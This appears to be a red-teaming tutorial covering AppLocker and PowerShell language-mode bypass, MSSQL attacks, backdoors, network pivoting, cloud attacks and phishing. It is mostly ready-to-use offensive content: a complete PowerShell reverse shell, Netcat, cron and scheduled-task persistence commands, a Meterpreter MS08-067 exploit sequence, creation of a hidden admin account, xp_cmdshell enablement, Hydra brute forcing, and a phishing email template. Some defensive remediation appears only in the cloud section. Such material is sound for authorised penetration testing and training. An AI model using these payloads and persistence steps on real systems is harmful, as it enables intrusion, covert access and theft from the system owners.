<figure><img src="/files/4gvtiHJxYA3RQM6CoWUq" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/UiIAZ5FmUPe5nPdIMfFq" alt=""><figcaption></figcaption></figure>

Now we can see that the application calc.exe has been blocked at GP level:&#x20;

Now that AppLocker is configured and enabled, non-admin users should not be able to execute any executable or script outside C:\Program Files, C:\Program Files (x86) and C:\Windows.

<figure><img src="/files/0BUH3I0MJIjbRukWNHay" alt=""><figcaption></figcaption></figure>

Even if we copy any executable to any location, it won't allow us to execute the same outside the intended directories like C:\program files, (x86) and Windows folder.

In the below demonstration, we copied the cmd.exe from it's original location (C:\windows\system32) to the Desktop and Applocker prevented us from the execution:

<figure><img src="/files/6GD3rYi72cdBWLLzAIpc" alt=""><figcaption></figcaption></figure>

```powershell
accesschk.exe "Authenticated Users" c:\Windows -wus -accepteula
```

<figure><img src="/files/N2BWwRktZLaBrQBwlc77" alt=""><figcaption></figcaption></figure>

The output indicates the RX flag (associated with the NT AUTHORITY\Authenticated Users group) is set for C:\Windows\Tasks, meaning that any user on the system will have both read and execute permissions within the directory.&#x20;

Based on the output of these tools, the Paul user will have both write and execute permissions within this directory.

To test this, we’ll start a command prompt as "Paul" in a non-admin context. We’ll copy the native calc.exe executable from C:\Windows\System32 into "c:\windows\tasks" and attempt to execute it:

<figure><img src="/files/rdPXKWOyzd0iFu7bjR0V" alt=""><figcaption></figcaption></figure>

The program runs, indicating that we have bypassed the default AppLocker application whitelisting rules.&#x20;

We can also achieve the same by copying the files in to the writable "c:\windows\temp" directory:

<figure><img src="/files/e420nDRsD51kbTrMWWNR" alt=""><figcaption></figcaption></figure>

In ConstrainedLanguage mode, scripts located in approved locations or following a whitelisting rule can run with full functionality. However, if a script breaks the rules or commands are directly entered in the command line, ConstrainedLanguage enforces several restrictions.

One of the most notable limitations is the exclusion of calls to the .NET framework, execution of C# code, and the use of reflection.

To illustrate this, we will open a PowerShell prompt as the "Paul" user and try to invoke the .NET framework, as demonstrated below:

<figure><img src="/files/2BmuTeBJckxsx3d7a5L5" alt=""><figcaption></figcaption></figure>

As evidenced by the highlighted warning in the listing above, we cannot access the otherwise simple cosine function in the Math namespace of .NET. This warning is indicative of constrained language mode.

The language mode of the current PowerShell session or prompt is always stored in the *$ExecutionContext.SessionState.LanguageMode* variable which can be displayed as follows:

```powershell
$ExecutionContext.SessionState.LanguageMode
```

<figure><img src="/files/mbBakaYZ6NB2zgWmCeVx" alt=""><figcaption></figcaption></figure>

In contrast, let’s open a second PowerShell prompt with administrative privileges in the context of the "Admin" user and dump the contents of the same variable:

```powershell
$ExecutionContext.SessionState.LanguageMode
[Math]::Cos(1)
```

<figure><img src="/files/frXNTNQgpzSZ06t8STkX" alt=""><figcaption></figcaption></figure>

In ConstrainedLanguage mode, scripts located in approved locations or following a whitelisting rule can run with full functionality. However, if a script breaks the rules or commands are directly entered in the command line, ConstrainedLanguage enforces several restrictions.

## Steps to bypass the PS Constrained Mode

Download the compiled binary:

{% embed url="<https://github.com/sartlabs/OffensiveTools/blob/main/Bypass_Constrained_Lang_Mode.exe>" %}

Now we can execute this code which will generate the test.txt which shows which mode we can execute now:

AppLocker blocks our C# executable because we executed it from a non-whitelisted directory:

<figure><img src="/files/Vhjm0CTD1zJQMTSn1w92" alt=""><figcaption></figcaption></figure>

So let’s copy the executable into a whitelisted directory to verify our constrained language mode bypass:

<figure><img src="/files/LR8RsoGNsMqk0OUw8GTp" alt=""><figcaption></figcaption></figure>

Our PowerShell script ran without any limitations within the custom runspace, successfully accomplishing the intended objective. Excellent.


# Attacking MSSQL

**Introduction to MSSQL Attacks**

Microsoft SQL Server (MSSQL) is a widely used relational database management system. While it provides robust security features, it is also a target for various cyber attacks. Attackers often aim to exploit misconfigurations, vulnerabilities, or weak security practices to gain unauthorized access, escalate privileges, and exfiltrate data. Understanding the common attack vectors against MSSQL is essential for both offensive security professionals and defenders.

**Common MSSQL Attack Vectors**

**SQL Injection:** SQL injection remains one of the most prevalent attack methods against MSSQL. This attack exploits vulnerabilities in web applications by inserting malicious SQL code into input fields, allowing attackers to execute arbitrary SQL commands. The impact of SQL injection can range from unauthorized data access to complete control over the database server.

In this example, the attacker comments out the rest of the query, bypassing the password check and potentially gaining unauthorized access.

{% code overflow="wrap" %}

```sql
SELECT * FROM Users WHERE Username = 'admin' --' AND Password = 'password';
```

{% endcode %}

**Brute Force Attacks:** Attackers often use brute force techniques to guess the credentials of MSSQL accounts. Tools like Hydra or Metasploit can automate this process, attempting thousands of password combinations until a valid one is found. Ensuring strong, complex passwords and implementing account lockout policies can mitigate this risk.

```bash
hydra -l sa -P /path/to/passwords.txt mssql://192.168.1.100
```

**Misconfigurations:** Misconfigurations in MSSQL can lead to severe security breaches. Common misconfigurations include enabling the `xp_cmdshell` extended stored procedure, which allows execution of system commands, or using default credentials. Regular security audits and adherence to best practices are critical to preventing such issues.

```sql
EXEC sp_configure 'show advanced options', 1;
RECONFIGURE;
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
EXEC xp_cmdshell 'dir';
```

**Privilege Escalation:** Attackers can exploit vulnerabilities or misconfigurations to escalate privileges within MSSQL. For instance, exploiting a SQL injection vulnerability to execute stored procedures with higher privileges or leveraging weak permissions on database objects.

```sql
EXEC sp_addsrvrolemember 'attacker', 'sysadmin';
```

**Data Exfiltration:** Once attackers gain access to MSSQL, they often seek to exfiltrate sensitive data. This can be done through various means, such as exporting data to a remote server, writing data to disk, or using network protocols.

```sql
SELECT * INTO OUTFILE '/tmp/data.csv' FROM sensitive_table;
```

### **Advanced MSSQL Attack Techniques**

**Using Impersonation:** Impersonation allows an attacker to execute commands as another user. This is particularly useful if the attacker can impersonate a user with higher privileges. The `EXECUTE AS LOGIN` and `EXECUTE AS USER` statements facilitate this.

```sql
EXECUTE AS LOGIN = 'sa';
SELECT * FROM sysadmin_sensitive_data;
```

**Pivoting and Lateral Movement:** After compromising an MSSQL server, attackers often pivot to other systems within the network. This can be achieved using linked servers, which allow MSSQL servers to communicate and execute queries across different servers.

{% code overflow="wrap" %}

```sql
EXEC sp_addlinkedserver 'LinkedServer', '', 'SQLNCLI', 'remote_server';
EXEC ('SELECT * FROM remote_database.dbo.table') AT LinkedServer;
```

{% endcode %}

**Abusing CLR Assemblies:** MSSQL allows the creation of custom CLR (Common Language Runtime) assemblies, which can be exploited to execute arbitrary code. Attackers can create and load malicious assemblies to perform a variety of actions, including privilege escalation and system compromise.

{% code overflow="wrap" %}

```
CREATE ASSEMBLY [MaliciousAssembly]
AUTHORIZATION [dbo]
FROM 0x4D5A90000300000004000000FFFF0000B800000000000000;
CREATE PROCEDURE [dbo].[MaliciousProc]
AS EXTERNAL NAME [MaliciousAssembly].[Namespace].[Method];
EXEC [dbo].[MaliciousProc];
```

{% endcode %}

### SQL User Impersonation Attacks

It is crucial to understand that only users with the specific Impersonate permission are permitted to use impersonation. This permission is not included in the default set of permissions for most users. However, database administrators might unintentionally introduce misconfigurations, leading to potential privilege escalation.

For the purposes of this example, we have set up an impersonation permission misconfiguration on the SQL server running on dc01. Impersonation can be utilized in two different ways. First, it is possible to impersonate another user at the login level using the EXECUTE AS LOGIN statement. Second, it can also be done at the user level with the EXECUTE AS USER statement.

Initially, we will illustrate impersonation at the login level. Because of our limited access, we cannot easily identify which logins our current login can impersonate. However, we can determine which logins allow impersonation, although we cannot see who has the permission to impersonate them. This information can be obtained using the following database query:

{% code overflow="wrap" %}

```sql
SELECT distinct b.name FROM sys.server_permissions a INNER JOIN sys.server_principals b ON a.grantor_principal_id = b.principal_id WHERE a.permission_name = 'IMPERSONATE'
```

{% endcode %}

<figure><img src="/files/G65kjGRSjaMapQcTnrZu" alt=""><figcaption><p><em>'sa' account can be impersonated</em></p></figcaption></figure>

{% embed url="<https://github.com/sartlabs/OffensiveTools/blob/main/SQL_Impersanation.exe>" %}


# Backdoors

### Practical Guide to Backdoors in Red Teaming

Backdoors are tools or methods used by attackers to maintain persistent access to a compromised system. In a red teaming context, backdoors allow penetration testers to ensure they can return to a system even if the initial access vector is closed. Below, we'll explore practical techniques for implementing and using backdoors.

**Creating a Persistent Meterpreter Session**

**Tool:** Metasploit

**Steps:**

* Exploit a vulnerability to gain an initial foothold.
* Migrate to a stable process to maintain the session.
* Set up persistence with a Meterpreter script.

```bash
use exploit/windows/smb/ms08_067_netapi
set RHOST 192.168.1.100
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.1.101
exploit
```

Once the session is established:

```bash
meterpreter > run persistence -U -i 5 -p 4444 -r 192.168.1.101
```

This command sets up a persistent Meterpreter backdoor that will start every time the user logs in.

**Using Netcat for a Simple Backdoor**

**Tool:** Netcat

**Steps:**

* Transfer Netcat to the target system.
* Set up a persistent listener on the target system.

**Example:**

```bash
nc -lvp 4444 -e /bin/bash
```

To make it persistent, add the command to a startup script:

```bash
echo 'nc -lvp 4444 -e /bin/bash' >> /etc/rc.local
```

**Using PowerShell for Windows Persistence**

**Tool:** PowerShell

**Steps:**

* Create a PowerShell script to establish a reverse shell.
* Use Task Scheduler to run the script at startup.

**Example:**

{% code overflow="wrap" %}

```powershell
$client = New-Object System.Net.Sockets.TCPClient("192.168.1.101", 4444)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
    $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i)
    $sendback = (iex $data 2>&1 | Out-String )
    $sendback2  = $sendback + "PS " + (pwd).Path + "> "
    $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
    $stream.Write($sendbyte, 0, $sendbyte.Length)
    $stream.Flush()}
$client.Close()
```

{% endcode %}

Save this script and schedule it using Task Scheduler:

```powershell
schtasks /create /sc onlogon /tn "PowerShell Backdoor" /tr "powershell.exe -ExecutionPolicy Bypass -File C:\path\to\script.ps1"
```

**Creating a Reverse SSH Tunnel**

**Tool:** SSH

**Steps:**

* Set up a reverse SSH tunnel to maintain access.

**Example:**

```bash
ssh -R 9090:localhost:22 user@attacker-machine.com
```

To make it persistent, add the command to `cron`:

```bash
(crontab -l ; echo "@reboot ssh -R 9090:localhost:22 user@attacker-machine.com") | crontab -
```

**Deploying Custom Backdoor with C2 Framework**

**Tool:** Cobalt Strike

**Steps:**

* Use Cobalt Strike to create a custom beacon.
* Deploy the beacon on the target system and set it to call back periodically.

**Example:**

```bash
./teamserver <external IP> <password>
./agscript
> spawnb 192.168.1.100
```

In Cobalt Strike:

```bash
beacon> run persistence -script windows/beacon.exe -args 192.168.1.101 4444
```

**Hidden User Accounts:** Creating hidden user accounts with elevated privileges.

**Example: Creating a Hidden Admin User on Windows:**

```powershell
net user hiddenadmin P@ssw0rd /add
net localgroup administrators hiddenadmin /add
```

<figure><img src="/files/5oMRYpG9QkbvJFw9oeNL" alt=""><figcaption></figcaption></figure>

**Impact:** The hidden user account provides the attacker with administrative access.

Some useful Backdoor references:

{% embed url="<https://github.com/screetsec/TheFatRat>" %}

{% embed url="<https://github.com/karma9874/AndroRAT>" %}

{% embed url="<https://github.com/n1nj4sec/pupy>" %}

{% hint style="info" %}
Understanding and effectively implementing persistence and backdoor techniques are critical for simulating advanced attack scenarios in red teaming engagements. While common backdoors are increasingly detected by EDRs, some methods can still circumvent these defenses by using advanced Red Teaming techniques that we cover in our live Red Teaming workshops.
{% endhint %}


# Pivoting & Tunneling

Pivoting is a technique used in penetration testing and cyber attacks where the attacker uses a compromised machine to move deeper into a network. By pivoting, an attacker can access different subnets that are not directly accessible from the attacker's original network. This allows the attacker to bypass network segmentation and access internal resources.

### **Introduction**

Pivoting involves using a compromised host to relay traffic to other systems and subnets within the target network. This technique is essential for exploring network segments that are not directly accessible from the attacker's initial foothold. The compromised host acts as a bridge, forwarding traffic between the attacker and the internal targets.

### **Types of Pivoting**

**Network Pivoting (Layer 3):**

* Involves routing IP traffic through the compromised host to reach other network segments.
* Utilizes routing and forwarding mechanisms.

**Port Forwarding (Layer 4):**

* Involves forwarding specific ports from the attacker's machine to the target network through the compromised host.
* Utilizes tools and techniques to forward traffic at the transport layer (TCP/UDP).

**Application Layer Pivoting (Layer 7):**

* Involves tunneling application-specific traffic through the compromised host.
* Utilizes proxies and application-level tunneling tools.

## Tools Commonly Used for Pivoting

* Metasploit Framework
* Meterpreter
* SSH (Secure Shell)
* ProxyChains
* SOCKS Proxy
* Nmap
* PowerShell Empire
* Chisel
* Plink (PuTTY Link)
* Cobalt Strike
* Impacket
* FoxyProxy
* MSFvenom
* RDP (Remote Desktop Protocol)
* Netcat

### A real-world example of pivoting where an attacker, situated within the 192.168.x.x network segment, connects to and pivots into the internal network segment (lateral movement) using a second network interface card (NIC)

Pivoting to the Internal (different) subnet of the Victim Machine:

<figure><img src="/files/ZSUDP1iibNNPXv8y7t3r" alt=""><figcaption><p><em>Network (Infrastructure) Pivoting</em></p></figcaption></figure>

1. It is assumed that we already compromised the host File02 and got the meterpreter reverse shell with low privs (bdc\paul) in MSF- ParrosOS (Attacker Machine):

<figure><img src="/files/64tZWsS70wFJicTqAEgU" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/jVNa4uviVMLoeWWNRjYv" alt=""><figcaption></figcaption></figure>

2. We could see the Internal 2nd NIC installed on the Victim System- File02 with the IP Address 172.16.69.4:

<figure><img src="/files/O7uyOt3vM7d7zFmrnYyz" alt=""><figcaption></figcaption></figure>

3. Since our goal is to reach out to the Internal Segment (172.16.69.X) of the Victim, we need to change the Routing, this can be achieved by using MSF:

Background Session 2:

<figure><img src="/files/9BJh6ufWEu6jtbAPoIZX" alt=""><figcaption></figcaption></figure>

Use the below MSF module to enable the Autoroute:

```bash
use post/multi/manage/autoroute
set SUBNET 172.16.69.0 //It's the internal subnet of the target we want to compromise
set SESSION 2
run
```

<figure><img src="/files/bhl6woO0oJQrpjEmOmSp" alt=""><figcaption></figcaption></figure>

4. Route added successfully. To use external tools like Nmap, set up a system-wide proxy by using auxiliary/server/socks\_proxy module. Change the default SRVPORT (i.e. 1080) to match the default port of proxychains i.e. 9050

<figure><img src="/files/ck5w2FjdeBOFdIdvAJiN" alt=""><figcaption></figcaption></figure>

**Commands:**

```bash
use auxiliary/server/socks_proxy
show options
set SRVPORT 9050
run
```

5. Use netstat command to verify that the proxy is running:

```powershell
netstat -tpln
```

<figure><img src="/files/tWp56jXiY5dEyJC995a4" alt=""><figcaption></figcaption></figure>

6. Scan the target machine using Nmap over proxychains. Remember, no configuration change is needed for proxychains to work because proxychains runs on port 9050 by default.

> **We got a success :)**

```bash
proxychains nmap -sT -Pn 172.16.69.4 -v
```

We can see the open ports on File02 by scanning in to the different subnet (172.16.69.0/16):

<figure><img src="/files/nEUOYgv3jedpRTTEsauE" alt=""><figcaption></figcaption></figure>

Output of File01 (172.16.69.32):

<figure><img src="/files/VoWzs69N5h5DzN9DKWrR" alt=""><figcaption></figcaption></figure>

Output of Backup\_dc (BDC 172.16.69.70)- ADDC:

<figure><img src="/files/ZNdyq1qetNbPVHJMw0lB" alt=""><figcaption></figcaption></figure>

{% hint style="info" %}
**Please check/modify your proxychains config file before doing any activity:**

nano /etc/proxychains4.conf
{% endhint %}

<figure><img src="/files/BC18ZwMBViliXi67vP3c" alt=""><figcaption></figcaption></figure>

**Extras:**

We can also rdesktop to file01 (172.16.69.32);

<figure><img src="/files/HQbkTVvvPLG2Y1nvg9LK" alt=""><figcaption></figcaption></figure>

### Port Forwarding on Linux Machine without having ssh credentials

Port Forwarding using Chisel:

Chisel is a very useful tool comes handy while forwarding local port on the Linux Machine to the Attacker's machine.&#x20;

The very good feature in this tool is that we DON'T require any credentials like ssh to do the same, just run Chisel as a Server on the Attacker Machine and then upload the same chisel executable on the Victim and run it as a Client in below way:

1. On Attacker Machine (e.g. Parrot/Kali):

```bash
./chisel server -p 9999 --reverse
```

2. On Target/Victim Machine:

{% code overflow="wrap" %}

```bash
wget http://10.10.14.9:8000/chisel
chmod +x chisel
./chisel client 10.10.14.9:9999 R:8010:127.0.0.1:8000  //Where Port 9999 is a listening port of the Chisel, running on the Attacker Machine (Parrot), 8000 is the port we want to forward (e.g. Application Lavarel is running on port 8000 (internal) on the Linux Victim Machine), 8010 is the new port on which the Lavarel program will be accessible in Attacker's Machine.
```

{% endcode %}

3 & 4: To access the newly forwarded port 8000 on Attacker Machine:

[http://localhost:8010/](<http://localhost:8010/&#xD;&#xA;>)

<figure><img src="/files/m3Lx72OXbQaz1rlkB8iD" alt=""><figcaption><p>c<em>hisel in action...</em></p></figcaption></figure>

### **Conclusion**

Pivoting within a network is a critical technique used by attackers to move laterally and gain access to additional network segments. By exploiting compromised hosts and leveraging tools and techniques such as Metasploit, SSH tunneling, and proxy chains, attackers can bypass network segmentation and access otherwise isolated systems. Understanding these methods is essential for penetration testers to simulate real-world attack scenarios and for defenders to implement effective countermeasures.

Effective network defense strategies should include robust network segmentation, continuous monitoring, strong access controls, and regular security assessments. By doing so, organizations can reduce the risk of lateral movement and improve their overall security posture. Ensuring that security measures are in place to detect and respond to pivoting activities is crucial for maintaining the integrity and confidentiality of critical network resources.

{% hint style="warning" %}
Nowadays, Endpoint Detection and Response (EDR) solutions are capable of detecting and preventing these types of attacks. **However, advanced hacking techniques can still circumvent these defenses.**&#x20;

These sophisticated methods are an integral part of what we teach in our live Red Teaming sessions, enabling security professionals to stay ahead of the latest threats and enhance their defensive capabilities.
{% endhint %}


# Cloud in Red Teaming

**Introduction**

In the evolving landscape of cybersecurity, the cloud has become a fundamental component of modern IT infrastructures. However, as organizations migrate their services and data to cloud platforms, the attack surface expands, creating new opportunities and challenges for attackers and defenders alike. Cloud red teaming involves simulating advanced persistent threats (APTs) in cloud environments to identify vulnerabilities, test defenses, and improve security posture. Despite its critical importance, cloud red teaming is often overlooked in real-world scenarios. This document aims to elucidate the role of cloud red teaming, its methods, techniques, and the impact it can have on organizations using major cloud service providers like AWS, Azure, and GCP.

**The Role of Cloud Red Teaming**

Cloud red teaming plays a pivotal role in assessing the security of cloud environments. It helps organizations understand how attackers might exploit cloud-specific vulnerabilities, misconfigurations, and weaknesses. The goal is to emulate real-world attack scenarios to identify gaps in security controls, incident response capabilities, and overall cloud security strategies.

**Key Objectives:**

* Identify and exploit vulnerabilities in cloud configurations and deployments.
* Test the effectiveness of cloud-specific security controls and incident response processes.
* Simulate lateral movement and privilege escalation within cloud environments.
* Assess the security of cloud-native services and applications.

**Impact of Cloud Red Teaming**

**Enhanced Security Posture:** By identifying and addressing vulnerabilities, organizations can significantly enhance their cloud security posture. This proactive approach helps in mitigating risks before they can be exploited by malicious actors.

**Improved Incident Response:** Testing incident response capabilities in cloud environments ensures that organizations are prepared to detect, respond to, and recover from cloud-based attacks.

**Regulatory Compliance:** Many industries have stringent regulatory requirements for data protection and security. Cloud red teaming helps organizations meet these compliance standards by validating the effectiveness of their security controls.

**Cost Savings:** Identifying and remediating vulnerabilities early can save organizations from the financial repercussions of data breaches, including fines, legal fees, and reputational damage.

**Methods and Techniques**

Cloud red teaming involves a combination of traditional penetration testing techniques and cloud-specific strategies. Here are some common methods and techniques:

**Reconnaissance:** Gathering information about the target cloud environment, including publicly accessible resources, IAM roles, policies, and configurations.

**Tools:**

* **AWS:** `awscli`, `CloudMapper`
* **Azure:** `Az PowerShell`, `Azure CLI`
* **GCP:** `gcloud`

**Exploiting Misconfigurations:** Identifying and exploiting misconfigurations in cloud resources such as S3 buckets, storage accounts, IAM policies, and network settings.

**Example:**

* **AWS:** Exploiting an S3 bucket with public read/write permissions to upload malicious files.
* **Azure:** Accessing blob storage with misconfigured access controls.
* **GCP:** Exploiting misconfigured IAM policies to gain unauthorized access to resources.

**Privilege Escalation:** Elevating privileges within the cloud environment to gain administrative access.

**Example:**

* **AWS:** Using a misconfigured IAM role to escalate privileges.
* **Azure:** Exploiting vulnerable managed identities or misconfigured role assignments.
* **GCP:** Leveraging service account keys for privilege escalation.

**Lateral Movement:** Moving laterally within the cloud environment to access additional resources and data.

**Example:**

* **AWS:** Using compromised EC2 instances to access other instances or resources in the same VPC.
* **Azure:** Exploiting Virtual Network (VNet) peering to move between VNets.
* **GCP:** Utilizing network connectivity between different projects or regions.

**Data Exfiltration:** Extracting sensitive data from cloud environments.

**Example:**

* **AWS:** Downloading sensitive data from S3 buckets or RDS instances.
* **Azure:** Exfiltrating data from SQL databases or storage accounts.
* **GCP:** Accessing and downloading data from Cloud Storage or BigQuery.

**Cloud-Specific Considerations**

**AWS (Amazon Web Services)**

**Key Services:**

* **IAM:** Manage user access and encryption keys.
* **EC2:** Virtual servers in the cloud.
* **S3:** Scalable object storage.
* **RDS:** Managed relational database service.
* **Lambda:** Run code without provisioning servers.

**Common Techniques:**

* Exploiting IAM roles and policies.
* S3 bucket enumeration and exploitation.
* Privilege escalation via Lambda functions.
* Lateral movement through VPC peering.

**Azure (Microsoft Azure)**

**Key Services:**

* **Azure AD:** Identity and access management.
* **VMs:** Virtual machines in the cloud.
* **Blob Storage:** Scalable storage for unstructured data.
* **SQL Database:** Managed relational database service.
* **Azure Functions:** Serverless compute service.

**Common Techniques:**

* Exploiting Azure AD misconfigurations.
* Blob storage enumeration and exploitation.
* Privilege escalation through managed identities.
* Lateral movement using VNet peering.

**GCP (Google Cloud Platform)**

**Key Services:**

* **IAM:** Manage permissions and roles.
* **Compute Engine:** Virtual machines in the cloud.
* **Cloud Storage:** Scalable object storage.
* **BigQuery:** Fully managed data warehouse.
* **Cloud Functions:** Event-driven serverless compute.

**Common Techniques:**

* Exploiting IAM role bindings.
* Cloud Storage bucket enumeration and exploitation.
* Privilege escalation via service account keys.
* Lateral movement using network connectivity between projects.

Useful Learning resources: We should have leaked AWS and Azure Credentials (ID and KEY) to launch attacks mentioned in the below links:&#x20;

&#x20;

{% embed url="<https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Cloud%20-%20Azure%20Pentest.md>" %}

{% embed url="<https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Cloud%20-%20AWS%20Pentest.md>" %}

#### **Awesome tool other than Aws-cli and Azure cli:**

{% embed url="<https://github.com/RhinoSecurityLabs/pacu>" %}

#### **S3 Bucket attack help:**&#x20;

{% embed url="<https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/AWS%20Amazon%20Bucket%20S3/README.md>" %}

## Case Study: S3 Bucket Compromise

During a real-world red teaming engagement, we discovered a writable S3 bucket that was publicly accessible. This misconfiguration allowed anyone with the correct URL to upload or download files from the bucket. Here's how the attack unfolded and the subsequent impact:

**Initial Discovery:** Using the `awscli` tool, we enumerated the S3 buckets associated with the target organization. The command used for this was:

```bash
aws s3 ls
```

We identified several buckets and began probing their permissions. To test for public write access, we attempted to upload a test file:

```bash
aws s3 cp testfile.txt s3://vulnerable-bucket/
```

{% hint style="success" %}
The upload was successful, confirming that the bucket was writable by unauthorized users.
{% endhint %}

**Impact:** By having write access to this bucket, we could upload malicious files, overwrite existing files, or introduce unauthorized content, potentially leading to various attack scenarios such as:

* **Malware Distribution:** Uploading malicious files that could be downloaded and executed by unsuspecting users.
* **Data Tampering:** Modifying existing files, leading to data integrity issues.
* **Credential Harvesting:** Placing phishing pages or scripts that capture sensitive information.

The organization was immediately alerted to this critical vulnerability. They responded by correcting the bucket's permissions, ensuring that only authorized users had access.

### What was the takeaway from this lesson for Client's Information Security Team:

**Remediation Steps:** The organization took the following steps to remediate the issue:

**Restricting Bucket Policies:** They modified the S3 bucket policies to restrict public write access. This was achieved using the following command:

{% code overflow="wrap" %}

```bash
aws s3api put-bucket-policy --bucket vulnerable-bucket --policy file://restrictive-policy.json
```

{% endcode %}

The `restrictive-policy.json` file contained:

```json
{
  "Version": "2012-10-17",
  "Statement": [
    {
      "Effect": "Deny",
      "Principal": "*",
      "Action": "s3:PutObject",
      "Resource": "arn:aws:s3:::vulnerable-bucket/*",
      "Condition": {
        "StringNotEquals": {
          "aws:PrincipalAccount": "123456789012"
        }
      }
    }
  ]
}
```

**Auditing Other Buckets:** They audited all other S3 buckets to ensure no other misconfigurations were present.

**Monitoring and Alerts:** Implementing monitoring and alerting for changes to S3 bucket policies and access patterns using AWS CloudTrail and AWS Config.

This case study highlights the importance of thoroughly auditing cloud configurations and permissions during red teaming exercises. Misconfigured resources, like writable S3 buckets, can lead to significant security breaches if left unchecked.

**Detection and Response Strategies**

To effectively detect and respond to cloud-based attacks, organizations should implement comprehensive monitoring and incident response strategies. Key tools and practices include:

**CloudTrail for AWS:** Enable AWS CloudTrail to log all API calls and activities within the AWS environment. Regularly review these logs for suspicious activities, such as unauthorized access or changes to critical resources.

**Command to enable CloudTrail:**

{% code overflow="wrap" %}

```bash
aws cloudtrail create-trail --name MyTrail --s3-bucket-name my-trail-bucket
aws cloudtrail start-logging --name MyTrail
```

{% endcode %}

* **Azure Security Center:** Use Azure Security Center to gain visibility into security posture, manage security policies, and detect threats across Azure resources.
* **GCP Security Command Center:** Utilize GCP Security Command Center to identify and manage cloud security risks across GCP projects.

{% hint style="success" %}
**Best Practices for Cloud Security**

**Principle of Least Privilege:** Apply the principle of least privilege to IAM roles and permissions, ensuring users and services have only the access they need to perform their tasks.

**Regular Audits:** Conduct regular security audits and reviews of cloud configurations and policies to identify and remediate vulnerabilities promptly.

**Encryption:** Ensure data is encrypted both at rest and in transit to protect sensitive information from unauthorized access.

**Multi-Factor Authentication (MFA):** Enforce MFA for all user accounts to add an extra layer of security against unauthorized access.
{% endhint %}

### **Common Challenges and Solutions:**

**Challenge:** Misconfigurations **Solution:** Regularly use automated tools to scan for and remediate misconfigurations. Implement configuration management policies and tools like AWS Config, Azure Policy, and GCP Config Validator.

**Challenge:** Lack of Visibility **Solution:** Implement comprehensive logging and monitoring solutions to gain visibility into all cloud activities. Use centralized logging systems and SIEM solutions for real-time analysis and alerts.

**Challenge:** Complex IAM Policies **Solution:** Simplify IAM policies by grouping users with similar access needs and applying policies at the group level. Regularly review and update IAM policies to ensure they align with current security requirements.

### **Tools and Frameworks**

**AWS Security Hub:** A comprehensive view of high-priority security alerts and compliance status across AWS accounts.

**Azure Sentinel:** A scalable, cloud-native SIEM for intelligent security analytics and threat intelligence across the enterprise.

**Google Cloud Security Command Center:** A security and risk management platform for visibility into security risks and policy compliance.

### **Emerging Threats**

**Container Security:** With the rise of containerized applications, securing container environments such as Docker and Kubernetes is crucial. Focus on securing container images, runtime security, and orchestration layers.

**Serverless Security:** As serverless architectures grow in popularity, ensure the security of serverless functions, manage permissions carefully, and monitor for unusual activities.

**Zero Trust Architecture:** Adopt a zero-trust approach to security, where no entity is trusted by default, and continuous verification is required for access.

### **Collaboration with Blue Teams**

Effective cloud security requires close collaboration between red and blue teams. Red teamers provide insights into potential vulnerabilities and attack vectors, while blue teams use this information to strengthen defenses and improve detection and response capabilities.

**Joint Exercises:** Conduct joint red and blue team exercises to simulate attacks and improve defensive strategies. This collaboration fosters a proactive security culture and enhances overall security posture.

### **Legal and Compliance Considerations**

**Data Privacy Regulations:** Ensure compliance with data privacy regulations such as GDPR, CCPA, and HIPAA when conducting red teaming exercises. Obtain necessary permissions and avoid accessing or exfiltrating real sensitive data.

**Cloud Provider Policies:** Familiarize yourself with the acceptable use policies and guidelines of cloud service providers to avoid violating terms of service during red teaming activities.

{% hint style="success" %}

## **Conclusion**

Cloud red teaming is a vital component of modern security assessments, enabling organizations to identify and mitigate vulnerabilities within their cloud environments. By understanding the unique attack vectors and techniques associated with cloud platforms like AWS, Azure, and GCP, red teamers can provide valuable insights into the effectiveness of cloud security controls and incident response capabilities.

Despite its importance, cloud red teaming is often overlooked in real-world scenarios. Organizations must prioritize these assessments to stay ahead of evolving threats and ensure the security of their cloud infrastructure. Through comprehensive cloud red teaming exercises, organizations can achieve enhanced security posture, improved incident response, regulatory compliance, and significant cost savings.

In summary, cloud red teaming should be an integral part of any organization's security strategy, providing a realistic evaluation of their cloud defenses and helping them prepare for the sophisticated attacks of tomorrow.
{% endhint %}


# Social Engineering in Red Teaming

In the realm of cybersecurity, the human element often represents the weakest link. Social engineering exploits this vulnerability by manipulating individuals into divulging confidential information or performing actions that compromise security. For red teamers, mastering social engineering techniques is crucial for simulating real-world attacks and assessing an organization's resilience against such threats. This chapter delves into the intricacies of social engineering, its methodologies, tools, techniques, and the profound impact it can have on organizational security.

### **Impact of Social Engineering**

The impact of successful social engineering attacks can be devastating, leading to:

**Data Breaches:** Unauthorized access to sensitive information, including personal data, intellectual property, and financial records.

**Financial Loss:** Direct theft of funds or costs associated with remediation, legal fees, and regulatory fines.

**Reputation Damage:** Loss of trust among customers, partners, and stakeholders.

**Operational Disruption:** Compromised systems and networks can lead to downtime and reduced productivity.

* **Common Social Engineering Techniques**
  * Phishing
  * Pretexting
  * Baiting
  * Tailgating

### **Phishing**

Phishing is a social engineering attack where attackers send fraudulent communications, often via email, posing as reputable sources to trick individuals into divulging sensitive information such as login credentials or financial details. These emails typically contain malicious links or attachments that can install malware or lead to credential harvesting websites. Phishing remains one of the most common and effective methods for compromising security due to its ability to exploit human trust and behavior. Organizations must implement robust email filtering, user awareness training, and multi-factor authentication to mitigate phishing risks.

#### **Example: Phishing Email**

A red team might craft a phishing email that mimics a legitimate communication from a trusted source, such as a bank or an internal department. Here's a sample phishing email:

**Subject:** Urgent: Action Required to Verify Your Account

**Email Body:**

```html
Dear User,

We have detected unusual activity on your account. Please verify your account information immediately to avoid suspension. Click the link below to verify your account:

[Verify Your Account](http://malicious-link.com)

Thank you,
Security Team
```

**Command:** Using a phishing toolkit like **Gophish** to send phishing emails.

```powershell
gophish admin -s https://gophish-server:3333 -u admin -p password
```

{% hint style="info" %}
